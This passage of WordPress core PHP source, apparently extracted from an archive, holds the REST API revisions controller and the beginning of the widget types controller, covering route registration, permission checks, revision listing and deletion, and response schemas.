ID. * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise. */ protected function get_parent( $parent_post_id ) { $error = new WP_Error( 'rest_post_invalid_parent', __( 'Invalid post parent ID.' ), array( 'status' => 404 ) ); if ( (int) $parent_post_id <= 0 ) { return $error; } $parent_post = get_post( (int) $parent_post_id ); if ( empty( $parent_post ) || empty( $parent_post->ID ) || $this->parent_post_type !== $parent_post->post_type ) { return $error; } return $parent_post; } /** * Checks if a given request has access to get revisions. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $parent = $this->get_parent( $request['parent'] ); if ( is_wp_error( $parent ) ) { return $parent; } if ( ! current_user_can( 'edit_post', $parent->ID ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to view revisions of this post.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Get the revision, if the ID is valid. * * @since 4.7.2 * * @param int $id Supplied ID. * @return WP_Post|WP_Error Revision post object if ID is valid, WP_Error otherwise. */ protected function get_revision( $id ) { $error = new WP_Error( 'rest_post_invalid_id', __( 'Invalid revision ID.' ), array( 'status' => 404 ) ); if ( (int) $id <= 0 ) { return $error; } $revision = get_post( (int) $id ); if ( empty( $revision ) || empty( $revision->ID ) || 'revision' !== $revision->post_type ) { return $error; } return $revision; } /** * Gets a collection of revisions. * * @since 4.7.0 * * @see WP_REST_Posts_Controller::get_items() * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $parent = $this->get_parent( $request['parent'] ); if ( is_wp_error( $parent ) ) { return $parent; } // Ensure a search string is set in case the orderby is set to 'relevance'. if ( ! empty( $request['orderby'] ) && 'relevance' === $request['orderby'] && empty( $request['search'] ) ) { return new WP_Error( 'rest_no_search_term_defined', __( 'You need to define a search term to order by relevance.' ), array( 'status' => 400 ) ); } // Ensure an include parameter is set in case the orderby is set to 'include'. if ( ! empty( $request['orderby'] ) && 'include' === $request['orderby'] && empty( $request['include'] ) ) { return new WP_Error( 'rest_orderby_include_missing_include', __( 'You need to define an include parameter to order by include.' ), array( 'status' => 400 ) ); } $is_head_request = $request->is_method( 'HEAD' ); if ( wp_revisions_enabled( $parent ) ) { $registered = $this->get_collection_params(); $args = array( 'post_parent' => $parent->ID, 'post_type' => 'revision', 'post_status' => 'inherit', 'posts_per_page' => -1, 'orderby' => 'date ID', 'order' => 'DESC', 'suppress_filters' => true, ); $parameter_mappings = array( 'exclude' => 'post__not_in', 'include' => 'post__in', 'offset' => 'offset', 'order' => 'order', 'orderby' => 'orderby', 'page' => 'paged', 'per_page' => 'posts_per_page', 'search' => 's', ); foreach ( $parameter_mappings as $api_param => $wp_param ) { if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) { $args[ $wp_param ] = $request[ $api_param ]; } } // For backward-compatibility, 'date' needs to resolve to 'date ID'. if ( isset( $args['orderby'] ) && 'date' === $args['orderby'] ) { $args['orderby'] = 'date ID'; } if ( $is_head_request ) { // Force the 'fields' argument. For HEAD requests, only post IDs are required to calculate pagination. $args['fields'] = 'ids'; // Disable priming post meta for HEAD requests to improve performance. $args['update_post_term_cache'] = false; $args['update_post_meta_cache'] = false; } /** * Filters WP_Query arguments when querying revisions via the REST API. * * Serves the same purpose as the {@see 'rest_{$this->post_type}_query'} filter in * WP_REST_Posts_Controller, but for the standalone WP_REST_Revisions_Controller. * * @since 5.0.0 * * @param array $args Array of arguments for WP_Query. * @param WP_REST_Request $request The REST API request. */ $args = apply_filters( 'rest_revision_query', $args, $request ); if ( ! is_array( $args ) ) { $args = array(); } $query_args = $this->prepare_items_query( $args, $request ); $revisions_query = new WP_Query(); $revisions = $revisions_query->query( $query_args ); $offset = isset( $query_args['offset'] ) ? (int) $query_args['offset'] : 0; $page = isset( $query_args['paged'] ) ? (int) $query_args['paged'] : 0; $total_revisions = $revisions_query->found_posts; if ( $total_revisions < 1 ) { // Out-of-bounds, run the query without pagination/offset to get the total count. unset( $query_args['paged'], $query_args['offset'] ); $count_query = new WP_Query(); $query_args['fields'] = 'ids'; $query_args['posts_per_page'] = 1; $query_args['update_post_meta_cache'] = false; $query_args['update_post_term_cache'] = false; $count_query->query( $query_args ); $total_revisions = $count_query->found_posts; } if ( $revisions_query->query_vars['posts_per_page'] > 0 ) { $max_pages = (int) ceil( $total_revisions / (int) $revisions_query->query_vars['posts_per_page'] ); } else { $max_pages = $total_revisions > 0 ? 1 : 0; } if ( $total_revisions > 0 ) { if ( $offset >= $total_revisions ) { return new WP_Error( 'rest_revision_invalid_offset_number', __( 'The offset number requested is larger than or equal to the number of available revisions.' ), array( 'status' => 400 ) ); } elseif ( ! $offset && $page > $max_pages ) { return new WP_Error( 'rest_revision_invalid_page_number', __( 'The page number requested is larger than the number of pages available.' ), array( 'status' => 400 ) ); } } } else { $revisions = array(); $total_revisions = 0; $max_pages = 0; $page = (int) $request['page']; } if ( ! $is_head_request ) { $response = array(); foreach ( $revisions as $revision ) { $data = $this->prepare_item_for_response( $revision, $request ); $response[] = $this->prepare_response_for_collection( $data ); } $response = rest_ensure_response( $response ); } else { $response = new WP_REST_Response( array() ); } $response->header( 'X-WP-Total', (int) $total_revisions ); $response->header( 'X-WP-TotalPages', (int) $max_pages ); $request_params = $request->get_query_params(); $base_path = rest_url( sprintf( '%s/%s/%d/%s', $this->namespace, $this->parent_base, $request['parent'], $this->rest_base ) ); $base = add_query_arg( urlencode_deep( $request_params ), $base_path ); if ( $page > 1 ) { $prev_page = $page - 1; if ( $prev_page > $max_pages ) { $prev_page = $max_pages; } $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $max_pages > $page ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Checks if a given request has access to get a specific revision. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { return $this->get_items_permissions_check( $request ); } /** * Retrieves one revision from the collection. * * @since 4.7.0 * @since 6.5.0 Added a condition to check that parent id matches revision parent id. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $parent = $this->get_parent( $request['parent'] ); if ( is_wp_error( $parent ) ) { return $parent; } $revision = $this->get_revision( $request['id'] ); if ( is_wp_error( $revision ) ) { return $revision; } if ( (int) $parent->ID !== (int) $revision->post_parent ) { return new WP_Error( 'rest_revision_parent_id_mismatch', /* translators: %d: A post id. */ sprintf( __( 'The revision does not belong to the specified parent with id of "%d"' ), $parent->ID ), array( 'status' => 404 ) ); } $response = $this->prepare_item_for_response( $revision, $request ); return rest_ensure_response( $response ); } /** * Checks if a given request has access to delete a revision. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { $parent = $this->get_parent( $request['parent'] ); if ( is_wp_error( $parent ) ) { return $parent; } if ( ! current_user_can( 'delete_post', $parent->ID ) ) { return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete revisions of this post.' ), array( 'status' => rest_authorization_required_code() ) ); } $revision = $this->get_revision( $request['id'] ); if ( is_wp_error( $revision ) ) { return $revision; } $response = $this->get_items_permissions_check( $request ); if ( ! $response || is_wp_error( $response ) ) { return $response; } if ( ! current_user_can( 'delete_post', $revision->ID ) ) { return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete this revision.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Deletes a single revision. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $revision = $this->get_revision( $request['id'] ); if ( is_wp_error( $revision ) ) { return $revision; } $force = isset( $request['force'] ) ? (bool) $request['force'] : false; // We don't support trashing for revisions. if ( ! $force ) { return new WP_Error( 'rest_trash_not_supported', /* translators: %s: force=true */ sprintf( __( "Revisions do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) ); } $previous = $this->prepare_item_for_response( $revision, $request ); $result = wp_delete_post( $request['id'], true ); /** * Fires after a revision is deleted via the REST API. * * @since 4.7.0 * * @param WP_Post|false|null $result The revision object (if it was deleted or moved to the Trash successfully) * or false or null (failure). If the revision was moved to the Trash, $result represents * its new state; if it was deleted, $result represents its state before deletion. * @param WP_REST_Request $request The request sent to the API. */ do_action( 'rest_delete_revision', $result, $request ); if ( ! $result ) { return new WP_Error( 'rest_cannot_delete', __( 'The post cannot be deleted.' ), array( 'status' => 500 ) ); } $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); return $response; } /** * Determines the allowed query_vars for a get_items() response and prepares * them for WP_Query. * * @since 5.0.0 * * @param array $prepared_args Optional. Prepared WP_Query arguments. Default empty array. * @param WP_REST_Request $request Optional. Full details about the request. * @return array Items query arguments. */ protected function prepare_items_query( $prepared_args = array(), $request = null ) { $query_args = array(); if ( ! is_array( $prepared_args ) ) { $prepared_args = array(); } foreach ( $prepared_args as $key => $value ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */ $query_args[ $key ] = apply_filters( "rest_query_var-{$key}", $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores } // Map to proper WP_Query orderby param. if ( isset( $query_args['orderby'] ) && isset( $request['orderby'] ) ) { $orderby_mappings = array( 'id' => 'ID', 'include' => 'post__in', 'slug' => 'post_name', 'include_slugs' => 'post_name__in', ); if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) { $query_args['orderby'] = $orderby_mappings[ $request['orderby'] ]; } } return $query_args; } /** * Prepares the revision for the REST response. * * @since 4.7.0 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support. * @since 7.1.0 The global post is now restored to its previous value before returning. * * @global WP_Post|null $post Global post object. * * @param WP_Post $item Post revision object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { /* * Save the previous global post so it can be restored before returning. * Preparing the revision sets up the global post and post data, which * must not leak into the rest of the request (e.g. the autosaves endpoint * is preloaded in the block editor, where a leaked global post can cause * the editor to be initialized with the wrong post). * * Note that $post is intentionally not declared as a global here. It must * remain local to this method so that a filter which reassigns the global * post while the response is being prepared (for example on 'the_content') * cannot change which post the remaining fields are read from. */ $previous_post = isset( $GLOBALS['post'] ) && $GLOBALS['post'] instanceof WP_Post ? $GLOBALS['post'] : null; // Restores the more descriptive, specific name for use within this method. $post = $item; $GLOBALS['post'] = $post; setup_postdata( $post ); // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php */ $response = apply_filters( 'rest_prepare_revision', new WP_REST_Response( array() ), $post, $request ); $this->restore_post_data( $previous_post ); return $response; } $fields = $this->get_fields_for_response( $request ); $data = array(); if ( in_array( 'author', $fields, true ) ) { $data['author'] = (int) $post->post_author; } if ( in_array( 'date', $fields, true ) ) { $data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date ); } if ( in_array( 'date_gmt', $fields, true ) ) { $data['date_gmt'] = $this->prepare_date_response( $post->post_date_gmt ); } if ( in_array( 'id', $fields, true ) ) { $data['id'] = $post->ID; } if ( in_array( 'modified', $fields, true ) ) { $data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified ); } if ( in_array( 'modified_gmt', $fields, true ) ) { $data['modified_gmt'] = $this->prepare_date_response( $post->post_modified_gmt ); } if ( in_array( 'parent', $fields, true ) ) { $data['parent'] = (int) $post->post_parent; } if ( in_array( 'slug', $fields, true ) ) { $data['slug'] = $post->post_name; } if ( rest_is_field_included( 'guid', $fields ) ) { $data['guid'] = array(); } if ( rest_is_field_included( 'guid.rendered', $fields ) ) { /** This filter is documented in wp-includes/post-template.php */ $data['guid']['rendered'] = apply_filters( 'get_the_guid', $post->guid, $post->ID ); } if ( rest_is_field_included( 'guid.raw', $fields ) ) { $data['guid']['raw'] = $post->guid; } if ( rest_is_field_included( 'title', $fields ) ) { $data['title'] = array(); } if ( rest_is_field_included( 'title.raw', $fields ) ) { $data['title']['raw'] = $post->post_title; } if ( rest_is_field_included( 'title.rendered', $fields ) ) { $data['title']['rendered'] = get_the_title( $post->ID ); } if ( rest_is_field_included( 'content', $fields ) ) { $data['content'] = array(); } if ( rest_is_field_included( 'content.raw', $fields ) ) { $data['content']['raw'] = $post->post_content; } if ( rest_is_field_included( 'content.rendered', $fields ) ) { /** This filter is documented in wp-includes/post-template.php */ $data['content']['rendered'] = apply_filters( 'the_content', $post->post_content ); } if ( rest_is_field_included( 'excerpt', $fields ) ) { $data['excerpt'] = array(); } if ( rest_is_field_included( 'excerpt.raw', $fields ) ) { $data['excerpt']['raw'] = $post->post_excerpt; } if ( rest_is_field_included( 'excerpt.rendered', $fields ) ) { $data['excerpt']['rendered'] = $this->prepare_excerpt_response( $post->post_excerpt, $post ); } if ( rest_is_field_included( 'meta', $fields ) ) { $data['meta'] = $this->meta->get_value( $post->ID, $request ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( ! empty( $data['parent'] ) ) { $response->add_link( 'parent', rest_url( rest_get_route_for_post( $data['parent'] ) ) ); } /** * Filters a revision returned from the REST API. * * Allows modification of the revision right before it is returned. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_Post $post The original revision object. * @param WP_REST_Request $request Request used to generate the response. */ $response = apply_filters( 'rest_prepare_revision', $response, $post, $request ); $this->restore_post_data( $previous_post ); return $response; } /** * Restores the global post to its previous value after preparing a revision. * * Preparing a revision overwrites the global post and post data via * setup_postdata(). This restores the global post that was in place * beforehand so the change does not leak into the rest of the request. * * Only the global post is guaranteed to be restored. When there was no * previous global post and the main query has no post either, which is the * usual state during a REST request, wp_reset_postdata() has nothing to * restore from, so the remaining globals set by setup_postdata() (such as * $id, $authordata and $pages) are left describing the revision. Clearing * those would mean unsetting each one by hand, which is beyond what is * needed to keep the global post from leaking. * * @since 7.1.0 * * @param WP_Post|null $previous_post The global post to restore, or null if there was none. */ private function restore_post_data( ?WP_Post $previous_post ): void { if ( $previous_post ) { $GLOBALS['post'] = $previous_post; setup_postdata( $previous_post ); return; } /* * There was no global post to restore, so clear the revision's post data. * This runs before clearing the global post because wp_reset_postdata() * repopulates it from the main query whenever that query has a post. Note * that it is a no-op when the main query has no post, in which case only * the global post below is cleared. */ wp_reset_postdata(); /* * Assigned rather than unset so that any `global $post` binding made before * this request keeps pointing at the global. Unsetting removes the entry from * the symbol table, which detaches those bindings, and a later write through * one of them would no longer be visible to get_post(). */ $GLOBALS['post'] = null; } /** * Checks the post_date_gmt or modified_gmt and prepare any post or * modified date for single post output. * * @since 4.7.0 * * @param string $date_gmt GMT publication time. * @param string|null $date Optional. Local publication time. Default null. * @return string|null ISO8601/RFC3339 formatted datetime, otherwise null. */ protected function prepare_date_response( $date_gmt, $date = null ) { if ( '0000-00-00 00:00:00' === $date_gmt ) { return null; } if ( isset( $date ) ) { return mysql_to_rfc3339( $date ); } return mysql_to_rfc3339( $date_gmt ); } /** * Retrieves the revision's schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => "{$this->parent_post_type}-revision", 'type' => 'object', // Base properties for every Revision. 'properties' => array( 'author' => array( 'description' => __( 'The ID for the author of the revision.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ), 'date' => array( 'description' => __( "The date the revision was published, in the site's timezone." ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit', 'embed' ), ), 'date_gmt' => array( 'description' => __( 'The date the revision was published, as GMT.' ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit' ), ), 'guid' => array( 'description' => __( 'GUID for the revision, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), ), 'id' => array( 'description' => __( 'Unique identifier for the revision.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ), 'modified' => array( 'description' => __( "The date the revision was last modified, in the site's timezone." ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit' ), ), 'modified_gmt' => array( 'description' => __( 'The date the revision was last modified, as GMT.' ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit' ), ), 'parent' => array( 'description' => __( 'The ID for the parent of the revision.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ), 'slug' => array( 'description' => __( 'An alphanumeric identifier for the revision unique to its type.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), ), ), ); $parent_schema = $this->parent_controller->get_item_schema(); if ( ! empty( $parent_schema['properties']['title'] ) ) { $schema['properties']['title'] = $parent_schema['properties']['title']; } if ( ! empty( $parent_schema['properties']['content'] ) ) { $schema['properties']['content'] = $parent_schema['properties']['content']; } if ( ! empty( $parent_schema['properties']['excerpt'] ) ) { $schema['properties']['excerpt'] = $parent_schema['properties']['excerpt']; } if ( ! empty( $parent_schema['properties']['guid'] ) ) { $schema['properties']['guid'] = $parent_schema['properties']['guid']; } $schema['properties']['meta'] = $this->meta->get_field_schema(); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 4.7.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; unset( $query_params['per_page']['default'] ); $query_params['exclude'] = array( 'description' => __( 'Ensure result set excludes specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['include'] = array( 'description' => __( 'Limit result set to specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['offset'] = array( 'description' => __( 'Offset the result set by a specific number of items.' ), 'type' => 'integer', ); $query_params['order'] = array( 'description' => __( 'Order sort attribute ascending or descending.' ), 'type' => 'string', 'default' => 'desc', 'enum' => array( 'asc', 'desc' ), ); $query_params['orderby'] = array( 'description' => __( 'Sort collection by object attribute.' ), 'type' => 'string', 'default' => 'date', 'enum' => array( 'date', 'id', 'include', 'relevance', 'slug', 'include_slugs', 'title', ), ); return $query_params; } /** * Checks the post excerpt and prepare it for single post output. * * @since 4.7.0 * * @param string $excerpt The post excerpt. * @param WP_Post $post Post revision object. * @return string Prepared excerpt or empty string. */ protected function prepare_excerpt_response( $excerpt, $post ) { /** This filter is documented in wp-includes/post-template.php */ $excerpt = apply_filters( 'the_excerpt', $excerpt ); if ( empty( $excerpt ) ) { return ''; } return $excerpt; } } PK!namespace = 'wp/v2'; $this->rest_base = 'widget-types'; } /** * Registers the widget type routes. * * @since 5.8.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[a-zA-Z0-9_-]+)', array( 'args' => array( 'id' => array( 'description' => __( 'The widget type id.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[a-zA-Z0-9_-]+)/encode', array( 'args' => array( 'id' => array( 'description' => __( 'The widget type id.' ), 'type' => 'string', 'required' => true, ), 'instance' => array( 'description' => __( 'Current instance settings of the widget.' ), 'type' => 'object', ), 'form_data' => array( 'description' => __( 'Serialized widget form data to encode into instance settings.' ), 'type' => 'string', 'sanitize_callback' => static function ( $form_data ) { $array = array(); wp_parse_str( $form_data, $array ); return $array; }, ), ), array( 'methods' => WP_REST_Server::CREATABLE, 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'callback' => array( $this, 'encode_form_data' ), ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[a-zA-Z0-9_-]+)/render', array( array( 'methods' => WP_REST_Server::CREATABLE, 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'callback' => array( $this, 'render' ), 'args' => array( 'id' => array( 'description' => __( 'The widget type id.' ), 'type' => 'string', 'required' => true, ), 'instance' => array( 'description' => __( 'Current instance settings of the widget.' ), 'type' => 'object', ), ), ), ) ); } /** * Checks whether a given request has permission to read widget types. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { return $this->check_read_permission(); } /** * Retrieves the list of all widget types. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { if ( $request->is_method( 'HEAD' ) ) { // Return early as this handler doesn't add any response headers. return new WP_REST_Response( array() ); } $data = array(); foreach ( $this->get_widgets() as $widget ) { $widget_type = $this->prepare_item_for_response( $widget, $request ); $data[] = $this->prepare_response_for_collection( $widget_type ); } return rest_ensure_response( $data ); } /** * Checks if a given request has access to read a widget type. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $check = $this->check_read_permission(); if ( is_wp_error( $check ) ) { return $check; } $widget_id = $request['id']; $widget_type = $this->get_widget( $widget_id ); if ( is_wp_error( $widget_type ) ) { return $widget_type; } return true; } /** * Checks whether the user can read widget types. * * @since 5.8.0 * * @return true|WP_Error True if the widget type is visible, WP_Error otherwise. */ protected function check_read_permission() { if ( ! current_user_can( 'edit_theme_options' ) ) { return new WP_Error( 'rest_cannot_manage_widgets', __( 'Sorry, you are not allowed to manage widgets on this site.' ), array( 'status' => rest_authorization_required_code(), ) ); } return true; } /** * Gets the details about the requested widget. * * @since 5.8.0 * * @param string $id The widget type id. * @return array|WP_Error The array of widget data if the name is valid, WP_Error otherwise. */ public function get_widget( $id ) { foreach ( $this->get_widgets() as $widget ) { if ( $id === $widget['id'] ) { return $widget; } } return new WP_Error( 'rest_widget_type_invalid', __( 'Invalid widget type.' ), array( 'status' => 404 ) ); } /** * Normalize array of widgets. * * @since 5.8.0 * * @global WP_Widget_Factory $wp_widget_factory * @global array $wp_registered_widgets The list of registered widgets. * * @return array Array of widgets. */ protected function get_widgets() { global $wp_widget_factory, $wp_registered_widgets; $widgets = array(); foreach ( $wp_registered_widgets as $widget ) { $parsed_id = wp_parse_widget_id( $widget['id'] ); $widget_object = $wp_widget_factory->get_widget_object( $parsed_id['id_base'] ); $widget['id'] = $parsed_id['id_base']; $widget['is_multi'] = (bool) $widget_object; if ( isset( $widget['name'] ) ) { $widget['name'] = html_entity_decode( $widget['name'], ENT_QUOTES, get_bloginfo( 'charset' ) ); } if ( isset( $widget['description'] ) ) { $widget['description'] = html_entity_decode( $widget['description'], ENT_QUOTES, get_bloginfo( 'charset' ) ); } unset( $widget['callback'] ); $classname = ''; foreach ( (array) $widget['classname'] as $cn ) { if ( is_string( $cn ) ) { $classname .= '_' . $cn; } elseif ( is_object( $cn ) ) { $classname .= '_' . get_class( $cn ); } } $widget['classname'] = ltrim( $classname, '_' ); $widgets[ $widget['id'] ] = $widget; } ksort( $widgets ); return $widgets; } /** * Retrieves a single widget type from the collection. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $widget_id = $request['id']; $widget_type = $this->get_widget( $widget_id ); if ( is_wp_error( $widget_type ) ) { return $widget_type; } $data = $this->prepare_item_for_response( $widget_type, $request ); return rest_ensure_response( $data ); } /** * Prepares a widget type object for serialization. * * @since 5.8.0 * @since 5.9.0 Renamed `$widget_type` to `$item` to match parent class for PHP 8 named parameter support. * * @param array $item Widget type data. * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Widget type data. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $widget_type = $item; // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php */ return apply_filters( 'rest_prepare_widget_type', new WP_REST_Response( array() ), $widget_type, $request ); } $fields = $this->get_fields_for_response( $request ); $data = array( 'id' => $widget_type['id'], ); $schema = $this->get_item_schema(); $extra_fields = array( 'name', 'description', 'is_multi', 'classname', 'widget_class', 'option_name', 'customize_selective_refresh', ); foreach ( $extra_fields as $extra_field ) { if ( ! rest_is_field_included( $extra_field, $fields ) ) { continue; } if ( isset( $widget_type[ $extra_field ] ) ) { $field = $widget_type[ $extra_field ]; } elseif ( array_key_exists( 'default', $schema['properties'][ $extra_field ] ) ) { $field = $schema['properties'][ $extra_field ]['default']; } else { $field = ''; } $data[ $extra_field ] = rest_sanitize_value_from_schema( $field, $schema['properties'][ $extra_field ] ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $widget_type ) ); } /** * Filters the REST API response for a widget type. * * @since 5.8.0 * * @param WP_REST_Response $response The response object. * @param array $widget_type The array of widget data. * @param WP_REST_Request $request The request object. */ return apply_filters( 'rest_prepare_widget_type', $response, $widget_type, $request ); } /** * Prepares links for the widget type. * * @since 5.8.0 * * @param array $widget_type Widget type data. * @return array Links for the given widget type. */ protected function prepare_links( $widget_type ) { return array( 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $widget_type['id'] ) ), ), ); } /** * Retrieves the widget type's schema, conforming to JSON Schema. * * @since 5.8.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'widget-type', 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'Unique slug identifying the widget type.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'name' => array( 'description' => __( 'Human-readable name identifying the widget type.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'Description of the widget.' ), 'type' => 'string', 'default' => '', 'context' => array( 'view', 'edit', 'embed' ), ), 'is_multi' => array( 'description' => __( 'Whether the widget supports multiple instances' ), 'type' => 'boolean', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'classname' => array( 'description' => __( 'Class name' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * An RPC-style endpoint which can be used by clients to turn user input in * a widget admin form into an encoded instance object. * * Accepts: * * - id: A widget type ID. * - instance: A widget's encoded instance object. Optional. * - form_data: Form data from submitting a widget's admin form. Optional. * * Returns: * - instance: The encoded instance object after updating the widget with * the given form data. * - form: The widget's admin form after updating the widget with the * given form data. * * @since 5.8.0 * * @global WP_Widget_Factory $wp_widget_factory * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function encode_form_data( $request ) { global $wp_widget_factory; $id = $request['id']; $widget_object = $wp_widget_factory->get_widget_object( $id ); if ( ! $widget_object ) { return new WP_Error( 'rest_invalid_widget', __( 'Cannot preview a widget that does not extend WP_Widget.' ), array( 'status' => 400 ) ); } /* * Set the widget's number so that the id attributes in the HTML that we * return are predictable. */ if ( isset( $request['number'] ) && is_numeric( $request['number'] ) ) { $widget_object->_set( (int) $request['number'] ); } else { $widget_object->_set( -1 ); } if ( isset( $request['instance']['encoded'], $request['instance']['hash'] ) ) { $serialized_instance = base64_decode( $request['instance']['encoded'] ); if ( ! hash_equals( wp_hash( $serialized_instance ), $request['instance']['hash'] ) ) { return new WP_Error( 'rest_invalid_widget', __( 'The provided instance is malformed.' ), array( 'status' => 400 ) ); } $instance = unserialize( $serialized_instance ); } else { $instance = array(); } if ( isset( $request['form_data'][ "widget-$id" ] ) && is_array( $request['form_data'][ "widget-$id" ] ) ) { $new_instance = array_first( $request['form_data'][ "widget-$id" ] ); $old_instance = $instance; $instance = $widget_object->update( $new_instance, $old_instance ); /** This filter is documented in wp-includes/class-wp-widget.php */ $instance = apply_filters( 'widget_update_callback', $instance, $new_instance, $old_instance, $widget_object ); } $serialized_instance = serialize( $instance ); $widget_key = $wp_widget_factory->get_widget_key( $id ); $response = array( 'form' => trim( $this->get_widget_form( $widget_object, $instance ) ), 'preview' => trim( $this->get_widget_preview( $widget_key, $instance ) ), 